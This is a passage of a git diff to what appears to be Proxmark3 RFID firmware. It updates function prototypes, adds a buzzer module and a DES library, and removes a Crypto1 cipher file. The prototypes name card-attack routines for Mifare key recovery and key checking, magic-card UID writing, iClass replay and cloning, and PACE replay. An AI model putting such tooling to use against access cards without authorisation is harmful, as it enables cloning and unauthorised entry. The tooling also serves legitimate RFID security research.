numofblocks); +void RAMFUNC SniffIso14443b(void); void SendRawCommand14443B(uint32_t, uint32_t, uint8_t, uint8_t[]); +void SendRawCommand14443B_Ex(UsbCommand *c); +void ClearFpgaShiftingRegisters(void); + +// iso14443a.h +void RAMFUNC SniffIso14443a(uint8_t param); +void SimulateIso14443aTag(int tagType, int flags, uint8_t *data); +void ReaderIso14443a(UsbCommand *c); -/// iso14443a.h -void RAMFUNC SnoopIso14443a(uint8_t param); -void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data); -void ReaderIso14443a(UsbCommand * c); // Also used in iclass.c -bool RAMFUNC LogTrace(const uint8_t * btBytes, uint8_t iLen, uint32_t iSamples, uint32_t dwParity, bool readerToTag); -uint32_t GetParity(const uint8_t * pbtCmd, int iLen); +//bool RAMFUNC LogTrace(const uint8_t *btBytes, uint16_t len, uint32_t timestamp_start, uint32_t timestamp_end, uint8_t *parity, bool readerToTag); +void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *parity); void iso14a_set_trigger(bool enable); -void iso14a_clear_trace(); -void iso14a_set_tracing(bool enable); -void RAMFUNC SniffMifare(uint8_t param); +// also used in emv +bool prepare_allocated_tag_modulation(tag_response_info_t * response_info); +int GetIso14443aCommandFromReader(uint8_t *received, uint8_t *parity, int *len); -/// epa.h +// epa.h void EPA_PACE_Collect_Nonce(UsbCommand * c); +void EPA_PACE_Replay(UsbCommand *c); // mifarecmd.h -void ReaderMifare(bool first_try); -int32_t dist_nt(uint32_t nt1, uint32_t nt2); void MifareReadBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *data); -void MifareUReadBlock(uint8_t arg0,uint8_t *datain); -void MifareUReadCard(uint8_t arg0,uint8_t *datain); +void MifareUReadBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain); +void MifareUC_Auth(uint8_t arg0, uint8_t *datain); +void MifareUReadCard(uint8_t arg0, uint16_t arg1, uint8_t arg2, uint8_t *datain); void MifareReadSector(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain); void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain); -void MifareUWriteBlock(uint8_t arg0,uint8_t *datain); -void MifareUWriteBlock_Special(uint8_t arg0,uint8_t *datain); +//void MifareUWriteBlockCompat(uint8_t arg0,uint8_t *datain); +void MifareUWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain); void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); -void MifareChkKeys(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain); +void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain); +void MifareAcquireNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain); +void MifareChkKeys(uint16_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain); +void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); void Mifare1ksim(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain); -void MifareSetDbgLvl(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); +void MifareSetDbgLvl(uint16_t arg0); void MifareEMemClr(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); void MifareEMemSet(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); void MifareEMemGet(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); void MifareECardLoad(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); -void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); // Work with "magic Chinese" card -void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); +void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); // Work with "magic Chinese" card +void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); +void MifareCIdent(); // is "magic chinese" card? +void MifareSetMod(uint8_t mod, uint8_t *key); +void MifareUSetPwd(uint8_t arg0, uint8_t *datain); +void OnSuccessMagic(); +void OnErrorMagic(uint8_t reason); -/// iso15693.h +int32_t dist_nt(uint32_t nt1, uint32_t nt2); +void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype ); +//void RAMFUNC SniffMifare(uint8_t param); + +//desfire +void Mifare_DES_Auth1(uint8_t arg0,uint8_t *datain); +void Mifare_DES_Auth2(uint32_t arg0, uint8_t *datain); + +// mifaredesfire.h +bool InitDesfireCard(); +void MifareSendCommand(uint8_t arg0,uint8_t arg1, uint8_t *datain); +void MifareDesfireGetInformation(); +void MifareDES_Auth1(uint8_t arg0,uint8_t arg1,uint8_t arg2, uint8_t *datain); +void ReaderMifareDES(uint32_t param, uint32_t param2, uint8_t * datain); +int DesfireAPDU(uint8_t *cmd, size_t cmd_len, uint8_t *dataout); +size_t CreateAPDU( uint8_t *datain, size_t len, uint8_t *dataout); +void OnSuccess(); +void OnError(uint8_t reason); + +// desfire_crypto.h +void *mifare_cryto_preprocess_data (desfiretag_t tag, void *data, size_t *nbytes, size_t offset, int communication_settings); +void *mifare_cryto_postprocess_data (desfiretag_t tag, void *data, size_t *nbytes, int communication_settings); +void mifare_cypher_single_block (desfirekey_t key, uint8_t *data, uint8_t *ivect, MifareCryptoDirection direction, MifareCryptoOperation operation, size_t block_size); +void mifare_cypher_blocks_chained (desfiretag_t tag, desfirekey_t key, uint8_t *ivect, uint8_t *data, size_t data_size, MifareCryptoDirection direction, MifareCryptoOperation operation); +size_t key_block_size (const desfirekey_t key); +size_t padded_data_length (const size_t nbytes, const size_t block_size); +size_t maced_data_length (const desfirekey_t key, const size_t nbytes); +size_t enciphered_data_length (const desfiretag_t tag, const size_t nbytes, int communication_settings); +void cmac_generate_subkeys (desfirekey_t key); +void cmac (const desfirekey_t key, uint8_t *ivect, const uint8_t *data, size_t len, uint8_t *cmac); + +// iso15693.h void RecordRawAdcSamplesIso15693(void); void AcquireRawAdcSamplesIso15693(void); void ReaderIso15693(uint32_t parameter); // Simulate an ISO15693 reader - greg -void SimTagIso15693(uint32_t parameter); // simulate an ISO15693 tag - greg +void SimTagIso15693(uint32_t parameter, uint8_t *uid); // simulate an ISO15693 tag - greg void BruteforceIso15693Afi(uint32_t speed); // find an AFI of a tag - atrox -void DirectTag15693Command(uint32_t datalen,uint32_t speed, uint32_t recv, uint8_t data[]); // send arbitrary commands from CLI - atrox -void SetDebugIso15693(uint32_t flag); +void DirectTag15693Command(uint32_t datalen,uint32_t speed, uint32_t recv, uint8_t *data); // send arbitrary commands from CLI - atrox +void Iso15693InitReader(void); -/// iclass.h -void RAMFUNC SnoopIClass(void); +// iclass.h +void RAMFUNC SniffIClass(void); void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); void ReaderIClass(uint8_t arg0); -//int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived); +void ReaderIClass_Replay(uint8_t arg0,uint8_t *MAC); +void iClass_Authentication(uint8_t *MAC); +void iClass_Authentication_fast(uint64_t arg0, uint64_t arg1, uint8_t *datain); +void iClass_WriteBlock(uint8_t blockNo, uint8_t *data); +void iClass_ReadBlk(uint8_t blockNo); +bool iClass_ReadBlock(uint8_t blockNo, uint8_t *data, uint8_t datalen); +void iClass_Dump(uint8_t blockno, uint8_t numblks); +void iClass_Clone(uint8_t startblock, uint8_t endblock, uint8_t *data); +void iClass_ReadCheck(uint8_t blockNo, uint8_t keyType); + // hitag2.h void SnoopHitag(uint32_t type); void SimulateHitagTag(bool tag_mem_supplied, byte_t* data); void ReaderHitag(hitag_function htf, hitag_data* htd); +void WriterHitag(hitag_function htf, hitag_data* htd, int page); + +//hitagS.h +void SimulateHitagSTag(bool tag_mem_supplied, byte_t* data); +void ReadHitagS(hitag_function htf, hitag_data* htd); +void WritePageHitagS(hitag_function htf, hitag_data* htd,int page); +void check_challenges(bool file_given, byte_t* data); // cmd.h bool cmd_receive(UsbCommand* cmd); -bool cmd_send(uint32_t cmd, uint32_t arg0, uint32_t arg1, uint32_t arg2, void* data, size_t len); +bool cmd_send(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void* data, size_t len); -/// util.h +// util.h +void HfSnoop(int , int); + +//felica.c +extern void felica_sendraw(UsbCommand *c); +extern void felica_sniff(uint32_t samples, uint32_t triggers); +extern void felica_sim_lite(uint64_t uid); +extern void felica_dump_lite_s(); + + +#ifdef __cplusplus +} +#endif #endif diff --git a/armsrc/buzzer.c b/armsrc/buzzer.c new file mode 100644 index 000000000..23e7e05d6 --- /dev/null +++ b/armsrc/buzzer.c @@ -0,0 +1,86 @@ +#include "buzzer.h" + +void Ring_BEE_ONCE(uint16_t music_note) { + BEE_ON(); + SpinDelayUs(music_note); + BEE_OFF(); + SpinDelayUs(music_note); +} + +void ring_2_7khz(uint16_t count) { + Ring_BEE_TIME(n_2_7khz,count); +} + +void Ring_BEE_TIME(uint16_t music_note,uint16_t count) { + for(uint16_t i=0 ; i < count; i++) + Ring_BEE_ONCE(music_note); + SpinDelay(9); +} + +void Ring_ALL(uint16_t count) { + Ring_BEE_TIME(note_1, count); + Ring_BEE_TIME(note_2, count); + Ring_BEE_TIME(note_3, count); + Ring_BEE_TIME(note_4, count); + Ring_BEE_TIME(note_5, count); + Ring_BEE_TIME(note_6, count); + Ring_BEE_TIME(note_7, count); + SpinDelay(10); +} + +void Ring_Little_Star(uint16_t count) { + Ring_BEE_TIME(note_1,count); + Ring_BEE_TIME(note_1,count); + Ring_BEE_TIME(note_5,count); + Ring_BEE_TIME(note_5,count); + Ring_BEE_TIME(note_6,count); + Ring_BEE_TIME(note_6,count); + Ring_BEE_TIME(note_5,2*count); + LED_A_ON(); + /* + Ring_BEE_TIME(note_4,count); + Ring_BEE_TIME(note_4,count); + Ring_BEE_TIME(note_3,count); + Ring_BEE_TIME(note_3,count); + Ring_BEE_TIME(note_2,count); + Ring_BEE_TIME(note_2,count); + Ring_BEE_TIME(note_1,2*count); + LED_A_OFF(); + + Ring_BEE_TIME(note_5,count); + Ring_BEE_TIME(note_5,count); + Ring_BEE_TIME(note_4,count); + Ring_BEE_TIME(note_4,count); + Ring_BEE_TIME(note_3,count); + Ring_BEE_TIME(note_3,count); + Ring_BEE_TIME(note_2,2*count); + LED_A_ON(); + + Ring_BEE_TIME(note_5,count); + Ring_BEE_TIME(note_5,count); + Ring_BEE_TIME(note_4,count); + Ring_BEE_TIME(note_4,count); + Ring_BEE_TIME(note_3,count); + Ring_BEE_TIME(note_3,count); + Ring_BEE_TIME(note_2,2*count); + LED_A_OFF(); + + Ring_BEE_TIME(note_1,count); + Ring_BEE_TIME(note_1,count); + Ring_BEE_TIME(note_5,count); + Ring_BEE_TIME(note_5,count); + Ring_BEE_TIME(note_6,count); + Ring_BEE_TIME(note_6,count); + Ring_BEE_TIME(note_5,2*count); + LED_A_ON(); + + Ring_BEE_TIME(note_4,count); + Ring_BEE_TIME(note_4,count); + Ring_BEE_TIME(note_3,count); + Ring_BEE_TIME(note_3,count); + Ring_BEE_TIME(note_2,count); + Ring_BEE_TIME(note_2,count); + Ring_BEE_TIME(note_1,2*count); + LED_B_ON(); + */ +} \ No newline at end of file diff --git a/armsrc/buzzer.h b/armsrc/buzzer.h new file mode 100644 index 000000000..e253977cf --- /dev/null +++ b/armsrc/buzzer.h @@ -0,0 +1,50 @@ +/******* +--by sww.2017.4.6 +*******/ + +#ifndef __BUZZER_H +#define __BUZZER_H + +#include +#include "proxmark3.h" +#include "apps.h" +#include "util.h" + +#define n_2_7khz 185 +#define note_1 956 +#define note_2 851 +#define note_3 758 +#define note_4 715 +#define note_5 638 +#define note_6 568 +#define note_7 506 +#define note_8 0 + +extern void Ring_BEE_ONCE(uint16_t music_note); +extern void Ring_BEE_TIME(uint16_t music_note,uint16_t count); +extern void ring_2_7khz(uint16_t count); +extern void Ring_ALL(uint16_t count); +extern void Ring_Little_Star(uint16_t count); + +#endif + + + + + + + + + + + + + + + + + + + + + diff --git a/armsrc/crypto1.c b/armsrc/crypto1.c deleted file mode 100644 index 9d103c7f5..000000000 --- a/armsrc/crypto1.c +++ /dev/null @@ -1,95 +0,0 @@ -/* crypto1.c - - This program is free software; you can redistribute it and/or - modify it under the terms of the GNU General Public License - as published by the Free Software Foundation; either version 2 - of the License, or (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, - MA 02110-1301, US - - Copyright (C) 2008-2008 bla -*/ -#include "crapto1.h" -#include - -#define SWAPENDIAN(x)\ - (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16) - -void crypto1_create(struct Crypto1State *s, uint64_t key) -{ -// struct Crypto1State *s = malloc(sizeof(*s)); - int i; - - for(i = 47;s && i > 0; i -= 2) { - s->odd = s->odd << 1 | BIT(key, (i - 1) ^ 7); - s->even = s->even << 1 | BIT(key, i ^ 7); - } - return; -} -void crypto1_destroy(struct Crypto1State *state) -{ -// free(state); - state->odd = 0; - state->even = 0; -} -void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr) -{ - int i; - for(*lfsr = 0, i = 23; i >= 0; --i) { - *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3); - *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3); - } -} -uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted) -{ - uint32_t feedin; - uint8_t ret = filter(s->odd); - - feedin = ret & !!is_encrypted; - feedin ^= !!in; - feedin ^= LF_POLY_ODD & s->odd; - feedin ^= LF_POLY_EVEN & s->even; - s->even = s->even << 1 | parity(feedin); - - s->odd ^= (s->odd ^= s->even, s->even ^= s->odd); - - return ret; -} -uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted) -{ - uint8_t i, ret = 0; - - for (i = 0; i < 8; ++i) - ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i; - - return ret; -} -uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted) -{ - uint32_t i, ret = 0; - - for (i = 0; i < 32; ++i) - ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24); - - return ret; -} - -/* prng_successor - * helper used to obscure the keystream during authentication - */ -uint32_t prng_successor(uint32_t x, uint32_t n) -{ - SWAPENDIAN(x); - while(n--) - x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31; - - return SWAPENDIAN(x); -} diff --git a/armsrc/des.c b/armsrc/des.c new file mode 100644 index 000000000..78ae87447 --- /dev/null +++ b/armsrc/des.c @@ -0,0 +1,446 @@ +/* des.c */ +/* + This file is part of the ARM-Crypto-Lib. + Copyright (C) 2006-2010 Daniel Otte (daniel.otte@rub.de) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ +/** + * \file des.c + * \author Daniel Otte + * \email daniel.otte@rub.de + * \date 2007-06-16 + * \brief DES and EDE-DES implementation + * \license GPLv3 or later + * + */ + +#include "des.h" + +const uint8_t sbox[256] = { + /* S-box 1 */ + 0xE4, 0xD1, 0x2F, 0xB8, 0x3A, 0x6C, 0x59, 0x07, + 0x0F, 0x74, 0xE2, 0xD1, 0xA6, 0xCB, 0x95, 0x38, + 0x41, 0xE8, 0xD6, 0x2B, 0xFC, 0x97, 0x3A, 0x50, + 0xFC, 0x82, 0x49, 0x17, 0x5B, 0x3E, 0xA0, 0x6D, + /* S-box 2 */ + 0xF1, 0x8E, 0x6B, 0x34, 0x97, 0x2D, 0xC0, 0x5A, + 0x3D, 0x47, 0xF2, 0x8E, 0xC0, 0x1A, 0x69, 0xB5, + 0x0E, 0x7B, 0xA4, 0xD1, 0x58, 0xC6, 0x93, 0x2F, + 0xD8, 0xA1, 0x3F, 0x42, 0xB6, 0x7C, 0x05, 0xE9, + /* S-box 3 */ + 0xA0, 0x9E, 0x63, 0xF5, 0x1D, 0xC7, 0xB4, 0x28, + 0xD7, 0x09, 0x34, 0x6A, 0x28, 0x5E, 0xCB, 0xF1, + 0xD6, 0x49, 0x8F, 0x30, 0xB1, 0x2C, 0x5A, 0xE7, + 0x1A, 0xD0, 0x69, 0x87, 0x4F, 0xE3, 0xB5, 0x2C, + /* S-box 4 */ + 0x7D, 0xE3, 0x06, 0x9A, 0x12, 0x85, 0xBC, 0x4F, + 0xD8, 0xB5, 0x6F, 0x03, 0x47, 0x2C, 0x1A, 0xE9, + 0xA6, 0x90, 0xCB, 0x7D, 0xF1, 0x3E, 0x52, 0x84, + 0x3F, 0x06, 0xA1, 0xD8, 0x94, 0x5B, 0xC7, 0x2E, + /* S-box 5 */ + 0x2C, 0x41, 0x7A, 0xB6, 0x85, 0x3F, 0xD0, 0xE9, + 0xEB, 0x2C, 0x47, 0xD1, 0x50, 0xFA, 0x39, 0x86, + 0x42, 0x1B, 0xAD, 0x78, 0xF9, 0xC5, 0x63, 0x0E, + 0xB8, 0xC7, 0x1E, 0x2D, 0x6F, 0x09, 0xA4, 0x53, + /* S-box 6 */ + 0xC1, 0xAF, 0x92, 0x68, 0x0D, 0x34, 0xE7, 0x5B, + 0xAF, 0x42, 0x7C, 0x95, 0x61, 0xDE, 0x0B, 0x38, + 0x9E, 0xF5, 0x28, 0xC3, 0x70, 0x4A, 0x1D, 0xB6, + 0x43, 0x2C, 0x95, 0xFA, 0xBE, 0x17, 0x60, 0x8D, + /* S-box 7 */ + 0x4B, 0x2E, 0xF0, 0x8D, 0x3C, 0x97, 0x5A, 0x61, + 0xD0, 0xB7, 0x49, 0x1A, 0xE3, 0x5C, 0x2F, 0x86, + 0x14, 0xBD, 0xC3, 0x7E, 0xAF, 0x68, 0x05, 0x92, + 0x6B, 0xD8, 0x14, 0xA7, 0x95, 0x0F, 0xE2, 0x3C, + /* S-box 8 */ + 0xD2, 0x84, 0x6F, 0xB1, 0xA9, 0x3E, 0x50, 0xC7, + 0x1F, 0xD8, 0xA3, 0x74, 0xC5, 0x6B, 0x0E, 0x92, + 0x7B, 0x41, 0x9C, 0xE2, 0x06, 0xAD, 0xF3, 0x58, + 0x21, 0xE7, 0x4A, 0x8D, 0xFC, 0x90, 0x35, 0x6B +}; + +const uint8_t e_permtab[] ={ + 4, 6, /* 4 bytes in 6 bytes out*/ + 32, 1, 2, 3, 4, 5, + 4, 5, 6, 7, 8, 9, + 8, 9, 10, 11, 12, 13, + 12, 13, 14, 15, 16, 17, + 16, 17, 18, 19, 20, 21, + 20, 21, 22, 23, 24, 25, + 24, 25, 26, 27, 28, 29, + 28, 29, 30, 31, 32, 1 +}; + +const uint8_t p_permtab[] ={ + 4, 4, /* 32 bit -> 32 bit */ + 16, 7, 20, 21, + 29, 12, 28, 17, + 1, 15, 23, 26, + 5, 18, 31, 10, + 2, 8, 24, 14, + 32, 27, 3, 9, + 19, 13, 30, 6, + 22, 11, 4, 25 +}; + +const uint8_t ip_permtab[] ={ + 8, 8, /* 64 bit -> 64 bit */ + 58, 50, 42, 34, 26, 18, 10, 2, + 60, 52, 44, 36, 28, 20, 12, 4, + 62, 54, 46, 38, 30, 22, 14, 6, + 64, 56, 48, 40, 32, 24, 16, 8, + 57, 49, 41, 33, 25, 17, 9, 1, + 59, 51, 43, 35, 27, 19, 11, 3, + 61, 53, 45, 37, 29, 21, 13, 5, + 63, 55, 47, 39, 31, 23, 15, 7 +}; + +const uint8_t inv_ip_permtab[] ={ + 8, 8, /* 64 bit -> 64 bit */ + 40, 8, 48, 16, 56, 24, 64, 32, + 39, 7, 47, 15, 55, 23, 63, 31, + 38, 6, 46, 14, 54, 22, 62, 30, + 37, 5, 45, 13, 53, 21, 61, 29, + 36, 4, 44, 12, 52, 20, 60, 28, + 35, 3, 43, 11, 51, 19, 59, 27, + 34, 2, 42, 10, 50, 18, 58, 26, + 33, 1, 41, 9, 49, 17, 57, 25 +}; + +const uint8_t pc1_permtab[] ={ + 8, 7, /* 64 bit -> 56 bit*/ + 57, 49, 41, 33, 25, 17, 9, + 1, 58, 50, 42, 34, 26, 18, + 10, 2, 59, 51, 43, 35, 27, + 19, 11, 3, 60, 52, 44, 36, + 63, 55, 47, 39, 31, 23, 15, + 7, 62, 54, 46, 38, 30, 22, + 14, 6, 61, 53, 45, 37, 29, + 21, 13, 5, 28, 20, 12, 4 +}; + +const uint8_t pc2_permtab[] ={ + 7, 6, /* 56 bit -> 48 bit */ + 14, 17, 11, 24, 1, 5, + 3, 28, 15, 6, 21, 10, + 23, 19, 12, 4, 26, 8, + 16, 7, 27, 20, 13, 2, + 41, 52, 31, 37, 47, 55, + 30, 40, 51, 45, 33, 48, + 44, 49, 39, 56, 34, 53, + 46, 42, 50, 36, 29, 32 +}; + +const uint8_t splitin6bitword_permtab[] = { + 8, 8, /* 64 bit -> 64 bit */ + 64, 64, 1, 6, 2, 3, 4, 5, + 64, 64, 7, 12, 8, 9, 10, 11, + 64, 64, 13, 18, 14, 15, 16, 17, + 64, 64, 19, 24, 20, 21, 22, 23, + 64, 64, 25, 30, 26, 27, 28, 29, + 64, 64, 31, 36, 32, 33, 34, 35, + 64, 64, 37, 42, 38, 39, 40, 41, + 64, 64, 43, 48, 44, 45, 46, 47 +}; + +const uint8_t shiftkey_permtab[] = { + 7, 7, /* 56 bit -> 56 bit */ + 2, 3, 4, 5, 6, 7, 8, 9, + 10, 11, 12, 13, 14, 15, 16, 17, + 18, 19, 20, 21, 22, 23, 24, 25, + 26, 27, 28, 1, + 30, 31, 32, 33, 34, 35, 36, 37, + 38, 39, 40, 41, 42, 43, 44, 45, + 46, 47, 48, 49, 50, 51, 52, 53, + 54, 55, 56, 29 +}; + +const uint8_t shiftkeyinv_permtab[] = { + 7, 7, + 28, 1, 2, 3, 4, 5, 6, 7, + 8, 9, 10, 11, 12, 13, 14, 15, + 16, 17, 18, 19, 20, 21, 22, 23, + 24, 25, 26, 27, + 56, 29, 30, 31, 32, 33, 34, 35, + 36, 37, 38, 39, 40, 41, 42, 43, + 44, 45, 46, 47, 48, 49, 50, 51, + 52, 53, 54, 55 +}; + +/* +1 0 +1 0 +2 1 +2 1 +2 1 +2 1 +2 1 +2 1 +---- +1 0 +2 1 +2 1 +2 1 +2 1 +2 1 +2 1 +1 0 +*/ +#define ROTTABLE 0x7EFC +#define ROTTABLE_INV 0x3F7E +/******************************************************************************/ + +void permute(const uint8_t *ptable, const uint8_t *in, uint8_t *out){ + uint8_t ob; /* in-bytes and out-bytes */ + uint8_t byte, bit; /* counter for bit and byte */ + ob = ptable[1]; + ptable = &(ptable[2]); + for(byte=0; byte>(x%8)) ){ + t|=0x01; + } + } + out[byte]=t; + } +} + +/******************************************************************************/ + +void changeendian32(uint32_t * a){ + *a = (*a & 0x000000FF) << 24 | + (*a & 0x0000FF00) << 8 | + (*a & 0x00FF0000) >> 8 | + (*a & 0xFF000000) >> 24; +} + +/******************************************************************************/ +static inline +void shiftkey(uint8_t *key){ + uint8_t k[7]; + memcpy(k, key, 7); + permute((uint8_t*)shiftkey_permtab, k, key); +} + +/******************************************************************************/ +static inline +void shiftkey_inv(uint8_t *key){ + uint8_t k[7]; + memcpy(k, key, 7); + permute((uint8_t*)shiftkeyinv_permtab, k, key); + +} + +/******************************************************************************/ +static inline +uint64_t splitin6bitwords(uint64_t a){ + uint64_t ret=0; + a &= 0x0000ffffffffffffLL; + permute((uint8_t*)splitin6bitword_permtab, (uint8_t*)&a, (uint8_t*)&ret); + return ret; +} + +/******************************************************************************/ + +static inline +uint8_t substitute(uint8_t a, uint8_t * sbp){ + uint8_t x; + x = sbp[a>>1]; + x = (a&1)?x&0x0F:x>>4; + return x; + +} + +/******************************************************************************/ + +uint32_t des_f(uint32_t r, uint8_t* kr){ + uint8_t i; + uint32_t t=0,ret; + uint64_t data; + uint8_t *sbp; /* sboxpointer */ + permute((uint8_t*)e_permtab, (uint8_t*)&r, (uint8_t*)&data); + for(i=0; i<6; ++i) + ((uint8_t*)&data)[i] ^= kr[i]; + + /* Sbox substitution */ + data = splitin6bitwords(data); + sbp=(uint8_t*)sbox; + for(i=0; i<8; ++i){ + uint8_t x; + x = substitute(((uint8_t*)&data)[i], sbp); + t<<=4; + t |= x; + sbp += 32; + } + changeendian32(&t); + + permute((uint8_t*)p_permtab,(uint8_t*)&t, (uint8_t*)&ret); + + return ret; +} + +/******************************************************************************/ + +typedef struct { + union { + uint8_t v8[8]; + uint32_t v32[2]; + } d; +} data_t; +#define R (data.d.v32[1]) +#define L (data.d.v32[0]) + +void des_enc(void* out, const void* in, const void* key){ + + uint8_t kr[6], k[7]; + uint8_t i; + data_t data; + + permute((uint8_t*)ip_permtab, (uint8_t*)in, data.d.v8); + permute((uint8_t*)pc1_permtab, (const uint8_t*)key, k); + + for(i=0; i<8; ++i){ + shiftkey(k); + if(ROTTABLE&((1<<((i<<1)+0))) ) + shiftkey(k); + permute((uint8_t*)pc2_permtab, k, kr); + L ^= des_f(R, kr); + + shiftkey(k); + if(ROTTABLE&((1<<((i<<1)+1))) ) + shiftkey(k); + permute((uint8_t*)pc2_permtab, k, kr); + R ^= des_f(L, kr); + + } + /* L <-> R*/ + R ^= L; + L ^= R; + R ^= L; + + permute((uint8_t*)inv_ip_permtab, data.d.v8, (uint8_t*)out); +} + +/******************************************************************************/ + +void des_dec(void* out, const void* in, const uint8_t* key){ + + uint8_t kr[6],k[7]; + int8_t i; + data_t data; + + permute((uint8_t*)ip_permtab, (uint8_t*)in, data.d.v8); + permute((uint8_t*)pc1_permtab, (const uint8_t*)key, k); + for(i=7; i>=0; --i){ + + permute((uint8_t*)pc2_permtab, k, kr); + L ^= des_f(R, kr); + shiftkey_inv(k); + if(ROTTABLE&((1<<((i<<1)+1))) ){ + shiftkey_inv(k); + } + + permute((uint8_t*)pc2_permtab, k, kr); + R ^= des_f(L, kr); + shiftkey_inv(k); + if(ROTTABLE&((1<<((i<<1)+0))) ){ + shiftkey_inv(k); + } + + } + /* L <-> R*/ + R ^= L; + L ^= R; + R ^= L; + + permute((uint8_t*)inv_ip_permtab, data.d.v8, (uint8_t*)out); +} + +/******************************************************************************/ + +void tdes_enc(void* out, void* in, const void* key){ + des_enc(out, in, (uint8_t*)key + 0); + des_dec(out, out, (uint8_t*)key + 8); + des_enc(out, out, (uint8_t*)key +16); +} + +/******************************************************************************/ + +void tdes_dec(void* out, void* in, const uint8_t* key){ + des_dec(out, in, (uint8_t*)key +16); + des_enc(out, out, (uint8_t*)key + 8); + des_dec(out, out, (uint8_t*)key + 0); +} + + void tdes_2key_enc(void* out, const void* in, size_t length, const void* key, unsigned char iv[8]){ + + if( length % 8 ) return; + + uint8_t i; + uint8_t* tin = (uint8_t*) in; + uint8_t* tout = (uint8_t*) out; + + while( length > 0 ) + { + for( i = 0; i < 8; i++ ) + tout[i] = (unsigned char)( tin[i] ^ iv[i] ); + + des_enc(tout, tin, (uint8_t*)key + 0); + des_dec(tout, tout, (uint8_t*)key + 8); + des_enc(tout, tout, (uint8_t*)key + 0); + + memcpy( iv, tout, 8 ); + + tin += 8; + tout += 8; + length -= 8; + } + } + + void tdes_2key_dec(void* out, const void* in, size_t length, const void* key, unsigned char iv[8]){ + + if( length % 8 ) return; + + uint8_t i; + unsigned char temp[8]; + uint8_t* tin = (uint8_t*) in; + uint8_t* tout = (uint8_t*) out; + + while( length > 0 ) + { + memcpy( temp, tin, 8 ); + + des_dec(tout, tin, (uint8_t*)key + 0); + des_enc(tout, tout, (uint8_t*)key + 8); + des_dec(tout, tout, (uint8_t*)key + 0); + + for( i = 0; i < 8; i++ ) + tout[i] = (unsigned char)( tout[i] ^ iv[i] ); + + memcpy( iv, temp, 8 ); + + tin += 8; + tout += 8; + length -= 8; + } + } + + +/******************************************************************************/ + + diff --git a/armsrc/des.h b/armsrc/des.h new file mode 100644 index 000000000..03b9f6469 --- /dev/null +++ b/armsrc/des.h @@ -0,0 +1,115 @@ +/* des.h */ +/* + This file is part of the ARM-Crypto-Lib. + Copyright (C) 2008 Daniel Otte (daniel.otte@rub.de) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ +/** + * \file des.h + * \author Daniel Otte + * \date 2007-06-16 + * \brief des and tdes declarations + * \license GPLv3 or later + * + */ +#ifndef __DES_H_ +#define __DES_H_ + +#include +#include + +/* the FIPS 46-3 (1999-10-25) name for triple DES is triple data encryption algorithm so TDEA. + * Also we only implement the three key mode */ + +/** \def tdea_enc + * \brief defining an alias for void tdes_enc(void* out, const void* in, const void* key) + */ + +/** \def tdea_dec + * \brief defining an alias for void tdes_dec(void* out, const void* in, const void* key) + */ + +#define tdea_enc tdes_enc +#define tdea_dec tdes_dec + +/** \fn void des_enc(void* out, const void* in, const void* key) + * \brief encrypt a block with DES + * + * This function encrypts a block of 64 bits (8 bytes) with the DES 